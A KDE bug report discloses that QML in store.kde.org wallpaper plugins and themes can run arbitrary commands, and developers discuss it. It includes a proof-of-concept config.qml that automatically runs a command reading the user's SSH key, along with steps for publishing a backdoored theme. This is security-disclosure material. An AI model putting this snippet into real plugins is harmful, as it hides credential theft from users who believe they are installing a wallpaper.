Bug 480112 - PlasmaCore.DataSource "executable" engine arbitrary code execution via any QML file in backdoored wallpaper plugins, themes, etc. distributed via store.kde.org
Summary: PlasmaCore.DataSource "executable" engine arbitrary code execution via any QM...
Status: CLOSED INTENTIONAL
Alias: None
Product: plasmashell
Classification: Plasma
Component: general (show other bugs)
Version: 5.27.10
Platform: Other Linux
: NOR normal
Target Milestone: 1.0
Assignee: Plasma Bugs List
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2024-01-20 22:57 UTC by Benjamin Flesch
Modified: 2024-01-21 15:14 UTC (History)
4 users (show)

See Also:
Latest Commit:
Version Fixed In:
Sentry Crash Report:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Benjamin Flesch 2024-01-20 22:57:39 UTC
SUMMARY
***
PlasmaCore.DataSource offers the "executable" engine which allows malicious packages from store.kde.org to execute arbitrary code through QML files embededded in themes, wallpaper pugins, and more. 

This is a critical design problem of PlasmaCore.DataSource which gets exaberated by the lack of security auditing at store.kde.org (with no malware scanning as demonstrated by finding various malicious .exe files embedded in archives distributed via the KDE in the recent days), and the tight integration of the store.kde.org system into the plasma interface.

Users can right click on the desktop, click "configure desktop and wallpaper", then click "get new plugins" and the "download new wallpaper plugins - plasma" shopping dialog pops up. By default, this shop is sorted by "most recent", which makes it very easy for an attacker to get initial infections. You can hover any listing in the window and an "install" button shows up in the plasma interface. After you click install, the user can immediately click "run" to execute the user-generated, untrusted package containing QML code with the potential for arbitrary code execution and arbitrary reading in the context of the user.
***

The KDE devs are aware of this problem, because in QML context, a XMLHTTPRequest to read the SSH private key from ~/.ssh/id_rsa.pub is rejected with error: "XMLHttpRequest: Using GET on a local file is dangerous and will be disabled by default in a future Qt version.Set QML_XHR_ALLOW_FILE_READ to 1 if you wish to continue using this feature."

```
var xhr = new XMLHttpRequest;
xhr.open("GET", "~/.ssh/id_rsa.pub");
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var response = xhr.responseText;
        // use file contents as required

        console.log(response)
    }
};
xhr.send();
```

However, in plain QML you can execute arbitrary commands and read arbitrary user data with the the following `config.qml` embedded for example in an "plasma wallpaper plugin". Then a backdoored theme package downloaded from store.kde.org could send this data to an attack-controlled server.

```
import QtQuick 2.1
import QtQuick.Layouts 1.1
import QtQuick.Controls 2.8
import org.kde.plasma.core 2.0 as PlasmaCore
import org.kde.kirigami 2.4 as Kirigami

Item {
    id: page
    width: childrenRect.width
    height: childrenRect.height
    
    property alias cfg_start_branches : start_branches.value;
    property alias cfg_scale : scale.value;

    PlasmaCore.DataSource {
        id: executable
        engine: "executable"
        connectedSources: []
        onNewData: {
            var exitCode = data["exit code"]
            var exitStatus = data["exit status"]
            var stdout = data["stdout"]
            var stderr = data["stderr"]
            exited(sourceName, exitCode, exitStatus, stdout, stderr)
            disconnectSource(sourceName) // cmd finished
        }
        function exec(cmd) {
            connectSource(cmd)
        }
        signal exited(string command, int exitCode, int exitStatus, string stdout, string stderr)
    }


    Connections {
        target: executable
        onExited: {
            console.log("onExited stdout", stdout)
        }
    }
    
    Component.onCompleted: {
        executable.exec("/usr/bin/cat ~/.ssh/id_rsa.pub")
    }

    Kirigami.FormLayout {
        anchors.left: parent.left
        anchors.right: parent.right
    
        // Label {
            // anchors.verticalCenter: parent.verticalCenter
            // rightPadding: 15
            // text: i18n("Start Branches") + " (" + start_branches.value + ")"
        // }
        PlasmaComponents.Slider {
            id: start_branches
            Kirigami.FormData.label: i18n("Stat Branches123123 (%1)", start_branches.value)
            from: 1
            to: 10
            value: 3
            snapMode: Slider.SnapAlways
            stepSize: 1
        }
        // Label {
            // anchors.verticalCenter: parent.verticalCenter
            // rightPadding: 15
            // text: i18n("Scale (%1)", scale.value)
        // }
        PlasmaComponents.Slider {
            id: scale
            Kirigami.FormData.label: i18n("Scale (%1)", scale.value)
            from: 1
            to: 10
            value: 3
            snapMode: Slider.SnapAlways
            stepSize: 1
        }
    }
}
```

In recent days this issue was thoroughly discussed on #plasma and some of it on #kde, and it feels to me there is a lack of awareness of this issue. The handing over of the maintenance obligations of the store.kde.org to a private company "plink gmbh" which is CNAME'd behind the trustworthy store.kde.org domain is a separation of ownership that IMO has very grave security implications.

KDE store / Plasma store should adapt their software design decisions and their governance procedures on the learnings from chrome extensions, npm modules, firefox extensions, etc. before a wide-reaching security breach happens.

Possible attack scenarios:
- targeted attacks on one user via backdoored theme
- malicious theme update pushed via KDE discover's "addon update" functionality when store.kde.org (plink gmbh) is breached

STEPS TO REPRODUCE
1. create theme 
2. add malicious code to QML file that uploads ssh key to remote server
3. upload theme to store.kde.org
4. wait for kde users to install your theme package (wallpaper plugin) because it is listed as the first item they see ("most recent")

OBSERVED RESULT
users will get hacked or have already been hacked, but there is no monitoring and no security scanning procedures in place to actually know it.

EXPECTED RESULT
users do not get their SSH keys leaked because they download an "animated wallpaper" over the OS-integrated functionality

SOFTWARE/OS VERSIONS
kdeplasma-addons 5.27.10-2
plasma-browser-integration 5.27.10-1
plasma-desktop 5.27.10-1
plasma-disks 5.27.10-1
plasma-firewall 5.27.10-1
plasma-framework5 5.114.0-1
plasma-integration 5.27.10-1
plasma-meta 5.27-4
plasma-nm 5.27.10-1
plasma-pa 5.27.10-1
plasma-sdk 5.27.10-1
plasma-systemmonitor 5.27.10-1
plasma-thunderbolt 5.27.10-1
plasma-vault 5.27.10-1
plasma-wayland-session 5.27.10-2
plasma-welcome 5.27.10-1
plasma-workspace 5.27.10-2
plasma-workspace-wallpapers 5.27.10-1
plasmatube 23.08.4-1
Comment 1 David Edmundson 2024-01-20 23:38:31 UTC
Same as installing any program.
Comment 2 Amin Vakil 2024-01-21 10:16:10 UTC
(In reply to David Edmundson from comment #1)
> Same as installing any program.

Yeah, but it seems safe as it's only downloading a jpg file, not that it can also execute code .
Comment 3 Jin Liu 2024-01-21 12:14:15 UTC
Does this only affect wallpaper plugins, applets, themes, window decorations, etc.? Or does it also affect wallpaper images, colors, yakuake skins, etc?

The difference is that in former cases, in addition to QML, you can also upload C++ code, where anything is possible. So being able to do the same in QML doesn't change the attack surface. While in the latter cases, I do expect them to be just pictures and config files.
Comment 4 Benjamin Flesch 2024-01-21 12:55:44 UTC
I did build a proof-of-concept for the "wallpaper plugin" type, and did a survey of 10.000 themes from shop.kde.org which found ~10 packes with .exe files that show as virus on virustotal.com (these have been removed by plink), and various packages with .so library files,  shell scripts (.sh) and python scripts.

Currently to me it seems anything goes and the whole security theatre depends on the operations of plink, who - as I've shown - don't even scan the packages with conventional antivirus scanners.

Another big problem is that the plasma dialogs all show "most recently uploaded" themes/plugins right at the top, so it's easy for an attacker to get initial infections. 

From my perspective, the QML surface & code execution capabilities of packages installed via the plasma store(s) should be severly limited on the plasma side. There should be two types of QML: trusted QML and untrusted QML. Trusted QML only for packages signed by the plasma devs. 

Untrusted QML for everyone.

I'll try to find more security vulnerabilities in plasma to make the architects of the current thing reconsider their choices.

Also the biggest security risk, a compromise of plink gmbh (a private company) and then a deployment of malicious updates for *all* themes at the same time will be installed via discover software center "plasma addons" section to many KDE users.

Targeted attacks on KDE/plasma devs with the current design are also a realistic thing.
Comment 5 Jin Liu 2024-01-21 13:42:05 UTC
Your concern is valid. But as I said, the store also contains C++ plugins in the same category, so the suggested change in this bug report alone doesn't really help at the moment.

As you already pointed out, to improve the situation,  we need radical changes in a lot of areas. Definitely not something to do at the moment, only a few weeks to 6.0 release. We can discuss the plan later, after the release. And the plan doesn't necessarily include removing this particular QML function, but may well be something radical like sandboxing user contents.
Comment 6 Amin Vakil 2024-01-21 15:14:38 UTC
What do you think about adding a warning, so users pay more attention installing plugins and check its sources?

Just like you say, at the end of the day this concern is valid for any application which you install from everywhere, but here users (including myself) does not think that it may contain a executable as it's only a wallpaper plugin.

Also I didn't understand whether installing a wallpaper could have a code execution capability or this only applies to plugins?